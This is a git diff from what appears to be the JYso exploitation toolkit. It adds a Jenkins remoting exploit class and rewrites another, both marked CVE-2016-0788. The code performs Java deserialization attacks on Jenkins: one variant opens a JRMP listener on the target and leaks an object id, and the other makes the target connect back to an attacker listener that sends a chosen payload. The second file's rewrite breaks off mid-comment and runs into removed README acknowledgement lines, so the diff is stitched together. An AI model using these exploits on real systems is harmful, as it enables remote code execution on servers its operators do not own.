+ * 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
+ * 2. that payload causes the remote server to open up an JRMP listener (and export an object).
+ * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
+ *
+ * Extra twist:
+ * The well-known objects exported by the listener use the system classloader which usually
+ * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
+ * (which is using jenkins' classloader) that typically is properly randomized.
+ * Fortunately - for the exploiting party - there is also a gadget that allows to leak
+ * that identifier via an exception.
+ *
+ * @author mbechler
+ */
+@SuppressWarnings({
+ "restriction"
+})
+public class JenkinsListener {
+
+ private static final Logger log = LogManager.getLogger(JenkinsListener.class);
+
+ public static void main(final String[] args) {
+
+ if (args.length < 5) {
+ System.err.println(JenkinsListener.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ String jenkinsUrl = args[0];
+ int jrmpPort = 12345;
+
+ Channel c = null;
+ try {
+ InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
+ c = JenkinsCLI.openChannel(isa);
+
+ Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
+ InvocationHandler remote = Proxy.getInvocationHandler(call);
+ int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
+
+ System.err.println("* JarLoader oid is " + oid);
+
+ Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
+
+ Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
+
+ Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
+
+ try {
+ c.call((Callable) o);
+ } catch (Exception e) {
+ // [ActivationGroupImpl[UnicastServerRef [liveRef:
+ // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
+ // -9046794842107247609]]
+
+ System.err.println(e.getMessage());
+
+ parseObjIdAndExploit(args, jrmpPort, isa, e);
+ }
+
+ } catch (Throwable e) {
+ log.error(String.valueOf(e));
+ } finally {
+ if (c != null) {
+ try {
+ c.close();
+ } catch (IOException e) {
+ e.printStackTrace(System.err);
+ }
+ }
+ }
+
+ }
+
+
+ private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class reqClass)
+ throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
+ Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
+ Reflections.setAccessible(reqCons);
+ return reqCons
+ .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
+ uro,
+ });
+ }
+
+
+ private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception {
+ String msg = e.getMessage();
+ int start = msg.indexOf("objID:[");
+ if (start < 0) {
+ throw new Exception("Failed to get object id");
+ }
+
+ int sep = msg.indexOf(", ", start + 1);
+
+ if (sep < 0) {
+ throw new Exception("Failed to get object id, separator");
+ }
+
+ int end = msg.indexOf("]", sep + 1);
+
+ if (end < 0) {
+ throw new Exception("Failed to get object id, separator");
+ }
+
+ String uid = msg.substring(start + 7, sep);
+ String objNum = msg.substring(sep + 2, end);
+
+ System.err.println("* UID is " + uid);
+ System.err.println("* ObjNum is " + objNum);
+
+ String[] parts = uid.split(":");
+
+ long obj = Long.parseLong(objNum);
+ int o1 = Integer.parseInt(parts[0], 16);
+ long o2 = Long.parseLong(parts[1], 16);
+ short o3 = Short.parseShort(parts[2], 16);
+
+ exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
+ }
+
+
+ private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
+ throws IOException {
+ Socket s = null;
+ DataOutputStream dos = null;
+ try {
+ System.err.println("* Opening JRMP socket " + isa);
+ s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ OutputStream os = s.getOutputStream();
+ dos = new DataOutputStream(os);
+
+ dos.writeInt(TransportConstants.Magic);
+ dos.writeShort(TransportConstants.Version);
+ dos.writeByte(TransportConstants.SingleOpProtocol);
+
+ dos.write(TransportConstants.Call);
+
+ final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
+
+ objOut.writeLong(obj);
+ objOut.writeInt(o1);
+ objOut.writeLong(o2);
+ objOut.writeShort(o3);
+
+ objOut.writeInt(-1);
+ objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
+
+ // 去除前两个参数
+ String[] newArray = new String[args.length - 2];
+ System.arraycopy(args, 2, newArray, 0, newArray.length);
+
+ ysoserial.run(newArray);
+ Object payloadObject = ysoserial.PAYLOAD;
+
+ objOut.writeObject(payloadObject);
+ os.flush();
+ } catch (Exception e) {
+ e.printStackTrace(System.err);
+ } finally {
+ if (dos != null) {
+ dos.close();
+ }
+ if (s != null) {
+ s.close();
+ }
+ }
+ }
+}
diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java
index 92528c2..b7b9329 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java
@@ -1,79 +1,79 @@
-package com.qi4l.JYso.exploit;
-
-import com.qi4l.JYso.gadgets.Config.ysoserial;
-import com.qi4l.JYso.gadgets.JRMPClient;
-import hudson.remoting.Channel;
-import org.apache.logging.log4j.Logger;
-import org.apache.logging.log4j.LogManager;
-
-import java.io.IOException;
-import java.net.InetSocketAddress;
-import java.rmi.registry.Registry;
-import java.util.Random;
-
-/**
- * CVE-2016-0788 exploit (2)
- *
- * - Sets up a local {@link JRMPListener}
- * - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
- * that will cause the remote to open a JRMP connection to our listener
- * - upon connection the specified payload will be delivered to the remote
- * (that will deserialize using a default ObjectInputStream)
- *
- * @author mbechler
- */
-public class JenkinsReverse {
-
- private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
-
- public static void main(final String[] args) throws Exception {
- if (args.length < 4) {
- System.err.println(JenkinsListener.class.getName() + " ");
- System.exit(-1);
- }
-
- // 去除前两个参数
- String[] newArray = new String[args.length - 2];
- System.arraycopy(args, 2, newArray, 0, newArray.length);
-
- ysoserial.run(newArray);
- final Object payloadObject = ysoserial.PAYLOAD;
- String myAddr = args[1];
- int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
- String jenkinsUrl = args[0];
-
- Thread t = null;
- Channel c = null;
- try {
- InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
- c = JenkinsCLI.openChannel(isa);
- JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
- t = new Thread(listener, "ReverseDGC");
- t.setDaemon(true);
- t.start();
- Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
- c.call(JenkinsCLI.getPropertyCallable(payload));
- listener.waitFor(1000);
- listener.close();
- } catch (Throwable e) {
- log.error(String.valueOf(e));
- } finally {
- if (c != null) {
- try {
- c.close();
- } catch (IOException e) {
- e.printStackTrace(System.err);
- }
- }
-
- if (t != null) {
- t.interrupt();
- try {
- t.join();
- } catch (InterruptedException e) {
- e.printStackTrace(System.err);
- }
- }
- }
- }
-}
+package com.qi4l.JYso.exploit;
+
+import com.qi4l.JYso.gadgets.Config.ysoserial;
+import com.qi4l.JYso.gadgets.JRMPClient;
+import hudson.remoting.Channel;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.LogManager;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.rmi.registry.Registry;
+import java.util.Random;
+
+/**
+ * CVE-2016-0788 exploit (2)
+ *
-
-
-JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
-
-## ✨ 404Starlink
-
-
-
-JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
-
-1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
-
-## 📷 Acknowledgements
-
-- https://github.com/veracode-research/rogue-jndi
-- https://github.com/welk1n/JNDI-Injection-Exploit
-- https://github.com/welk1n/JNDI-Injection-Bypass
-- https://github.com/WhiteHSBG/JNDIExploit
-- https://github.com/su18/ysoserial
-- https://github.com/rebeyond/Behinder
-- https://github.com/Whoopsunix/utf-8-overlong-encoding
-- https://github.com/mbechler/marshalsec
-- https://t.zsxq.com/17LkqCzk8
-- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
-- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
-- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
-- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
-- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
-- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
-- https://tttang.com/archive/1405/#toc_groovyclassloader
-- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
-- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
-- https://tttang.com/archive/1405/#toc_druid
-
+